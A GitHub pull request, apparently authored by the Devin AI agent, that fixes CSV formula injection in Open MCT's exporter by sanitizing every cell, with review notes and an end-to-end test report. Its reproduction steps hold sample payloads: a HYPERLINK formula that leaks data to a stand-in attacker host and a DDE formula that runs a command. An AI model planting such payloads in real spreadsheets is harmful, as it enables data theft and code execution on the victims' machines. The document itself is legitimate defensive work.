Skip to content

Sanitize all CSV export cells against formula injection (CWE-1236) - #13

Open
jakexcosme wants to merge 2 commits into
masterfrom
devin/1785271076-csv-formula-injection
Open

Sanitize all CSV export cells against formula injection (CWE-1236)#13
jakexcosme wants to merge 2 commits into
masterfrom
devin/1785271076-csv-formula-injection

Conversation

@jakexcosme

@jakexcosme jakexcosme commented Jul 28, 2026

Copy link
Copy Markdown

Describe your changes:

Security fix — CSV formula injection (CWE-1236): all exported cells are now sanitized, not just the name column.

Finding (source → sink)

CSVExporter.export() performed no sanitization and relied on callers to wrap each cell with sanitizeCsvFormulaInjection(). Its only caller, TableComponent.exportAsCSV(), wrapped only the name column. Every other exported column — telemetry value columns (TelemetryTableColumn.getFormattedValue) and unit columns (TelemetryTableUnitColumn.getFormattedValue) — was written to the CSV verbatim. String-typed telemetry values and unit metadata are adversary-controlled (whoever controls the telemetry stream / persisted metadata), so a value beginning with =, +, -, @, tab, or CR is interpreted as a formula when the exported file is opened in a spreadsheet application (data exfiltration or command execution via DDE/HYPERLINK).

Attack path:

attacker-controlled telemetry string value / unit metadata
  --getFormattedDatum(headers) (all columns except name unsanitized)--> exportAsCSV()
  --CSVExporter.export()--> new CSV(rows).encode() --> export.csv download
  --victim opens CSV in Excel/Sheets--> leading =/+/-/@ parsed as formula --> code/DDE execution

Fix

Centralized sanitization at the export boundary so the exporter is safe-by-default and future callers/columns cannot regress:

  • src/exporters/CSVExporter.jsexport() now maps sanitizeCsvFormulaInjection() over every cell of every row (per the configured headers) before encoding:
    let sanitizedRows = rows.map((row) => {
      let sanitizedRow = {};
      headers.forEach((header) => {
        sanitizedRow[header] = sanitizeCsvFormulaInjection(row[header]);
      });
      return sanitizedRow;
    });
    let csvText = new CSV(sanitizedRows, { header: headers }).encode();
  • src/plugins/telemetryTable/components/TableComponent.vue — removed the now-redundant per-column name sanitization in exportAsCSV() (the exporter handles all columns).

This uses the existing in-tree control sanitizeCsvFormulaInjection (prefixes a ' when a cell matches /^\s*[=+\-@\t\r]/); no new dependencies.

Compliance mapping

CWE MITRE ATT&CK NIST 800-53 / STIG
CWE-1236 (Improper Neutralization of Formula Elements in a CSV File) T1204.002 User Execution: Malicious File (Execution TA0002) → T1059 Command and Scripting Interpreter (Execution TA0002) in the victim's spreadsheet app SI-10 (Information Input Validation), SI-15 (Information Output Filtering); STIG APSC-DV-002560

Reachability: BOUNDARY-REACHABLE — telemetry value/unit fields are adversary-controlled; requires victim export + spreadsheet interaction.

Reproduction steps

  1. Feed a Telemetry Table a string telemetry value such as =HYPERLINK("http://attacker.example/?"&A1,"click") or =cmd|' /C calc'!A0 (or set a unit metadata field to such a value).
  2. In Open MCT, open the Telemetry Table and choose Export All (or mark rows and Export Marked as CSV).
  3. Before this fix: the downloaded CSV contains the raw =... cell; opening it in Excel/Google Sheets evaluates the formula (DDE/HYPERLINK).
  4. After this fix: the cell is exported as '=... and rendered as inert text.

Verification

  • npx eslint on both changed files: clean.
  • npm run build:prod: webpack compiled successfully.
  • npm test (Karma): 975/975 SUCCESS (67 skipped).

Original mission prompt

Fix the following security finding in `src/exporters/CSVExporter.js:34,40,52,62,65` in COG-GTM/openmct:

CSV formula injection: only the name column is sanitized; telemetry string values and unit columns are exported unescaped

CWE-1236 (Improper Neutralization of Formula Elements in a CSV File). MITRE ATT&CK: T1204.002 (User Execution: Malicious File) leading to T1059 (Command/Scripting Interpreter) in the spreadsheet app. STIG APSC-DV-002560 / NIST 800-53 SI-10 (input validation), SI-15 (information output filtering). Reachability: BOUNDARY-REACHABLE (telemetry value/unit fields are adversary-controlled) but requires victim export + spreadsheet interaction.

Recommendation: Sanitize all string cells at the export boundary rather than per-column at call sites. Either apply `sanitizeCsvFormulaInjection` to every string value inside `CSVExporter.export()` (make the exporter safe-by-default), or in `exportAsCSV` map the helper over every column value (not just `name`), including unit columns. Centralizing in the exporter prevents future callers/columns from regressing.

Analyze the vulnerable code, implement a fix, and open a pull request with the remediation.

All Submissions:

  • Have you followed the guidelines in our Contributing document?
  • Have you checked to ensure there aren't other open Pull Requests for the same update/change?
  • Is this a notable change that will require a special callout in the release notes? For example, will this break compatibility with existing APIs or projects that consume these plugins?

Author Checklist

  • Changes address original issue?
  • Tests included and/or updated with changes?
  • Has this been smoke tested?
  • Have you associated this PR with a type: label? Note: this is not necessarily the same as the original issue.
  • Have you associated a milestone with this PR? Note: leave blank if unsure.
  • Testing instructions included in associated issue OR is this a dependency/testcase change?

Reviewer Checklist

  • Changes appear to address issue?
  • Reviewer has tested changes by following the provided instructions?
  • Changes appear not to be breaking changes?
  • Appropriate automated tests included?
  • Code style and in-line documentation are appropriate?

Link to Devin session: https://app.devin.ai/sessions/a8b8af61202441008dad888eaf732ca3
Requested by: @jakexcosme


Devin Review

Status Commit
⚪ Not started

Run Devin Review

💡 Connect your GitHub account to enable automatic code reviews.

Open in Devin Review (Staging)
Open in Devin Review

Co-Authored-By: Jake Cosme <jake@cognition.ai>
@jakexcosme jakexcosme self-assigned this Jul 28, 2026
@devin-ai-integration

Copy link
Copy Markdown

Prompt hidden (unlisted session)

@devin-ai-integration

Copy link
Copy Markdown

🤖 Devin AI Engineer

I'll be helping with this pull request! Here's what you should know:

✅ I will automatically:

  • Address comments on this PR that start with 'DevinAI' or '@devin'.
  • Look at CI failures and help fix them

Note: I can only respond to comments from users who have write access to this repository.

⚙️ Control Options:

  • Disable automatic comment, CI, and merge conflict monitoring

@devin-ai-integration devin-ai-integration Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Devin Review found 3 potential issues.

Open in Devin Review

Comment thread src/exporters/CSVExporter.js
Comment on lines +65 to +73
let sanitizedRows = rows.map((row) => {
let sanitizedRow = {};
headers.forEach((header) => {
sanitizedRow[header] = sanitizeCsvFormulaInjection(row[header]);
});

return sanitizedRow;
});
let csvText = new CSV(sanitizedRows, { header: headers }).encode();

@devin-ai-integration devin-ai-integration Bot Jul 28, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

📝 Info: Sanitized rows only carry header keys; equivalent to prior header-filtered output

export() now rebuilds each row containing only the headers keys (src/exporters/CSVExporter.js:72-79) rather than passing the full original row objects. Since new CSV(rows, { header: headers }) already filtered output to the header set, and missing keys resolve to undefined either way, this is behavior-preserving. Also, all telemetry/unit/name cells arrive as strings from getFormattedValue (TelemetryTableColumn.js:52-55 coerces non-strings via toString()), so changing the fall-through from return str to return value does not alter output for the actual caller.

Open in Devin Review

Was this helpful? React with 👍 or 👎 to provide feedback.

Comment thread src/exporters/CSVExporter.js
Co-Authored-By: Jake Cosme <jake@cognition.ai>
@devin-ai-integration devin-ai-integration Bot added type:bug Bug fix no milestone PR intentionally has no milestone labels Jul 28, 2026

@devin-ai-integration devin-ai-integration Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Devin Review found 1 new potential issue.

Open in Devin Review

Comment on lines 42 to 49
if (/^\s*[=+\-@\t\r]/.test(str)) {
const trimmed = str.trim();
if (trimmed !== '' && Number.isFinite(Number(trimmed))) {
return value;
}

return `'${str}`;
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

📝 Info: Numeric-string exemption keeps leading +/- values unescaped by design

The new numeric guard (sanitizeCsvFormulaInjection at src/exporters/CSVExporter.js:43-46) returns cells like -273.15, +1, -1 unchanged when Number.isFinite(Number(trimmed)) is true, even though they begin with a formula-trigger character (+/-). This is an intentional tradeoff to keep numeric telemetry readable as numbers in spreadsheets, and it is safe because a purely finite-numeric string cannot form a malicious formula (values like -1+1, =cmd, @x yield NaN and remain escaped). Worth noting for reviewers that this deviates from the strict OWASP rule of escaping every cell starting with =+-@, but poses no practical injection risk.

Open in Devin Review

Was this helpful? React with 👍 or 👎 to provide feedback.

@devin-ai-integration

Copy link
Copy Markdown

✅ End-to-end test: CSV formula-injection sanitization (commit 90cbc54)

Tested on the local dev server: created a Telemetry Table containing a Sine Wave Generator named =HYPERLINK("http://evil.example","click") and exported 1830 rows via Export Table Data.

Results

  • All 1830 name cells exported as '=HYPERLINK(... — zero raw formula cells
  • 1818 negative numeric cells (e.g. -0.95) exported raw, without a ' prefix (numbers preserved)
  • No cell in the export starts with raw =, +, @, tab, or CR unless numeric

Exported CSV — name sanitized, negative numbers untouched:
Exported CSV

Table with injected object name (click to expand)

Telemetry table
Create dialog

Programmatic check over all 1830 rows × 10 columns:

sanitized '=HYPERLINK cells: 1830 | RAW =HYPERLINK cells: 0
raw negative numeric cells: 1818 | '-prefixed numeric cells: 0

Note: the e2e-couchdb CI check fails identically on unrelated recent branches of this fork (same "Failed to fetch" console errors), so it is preexisting and not caused by this change.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

no milestone PR intentionally has no milestone type:bug Bug fix

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant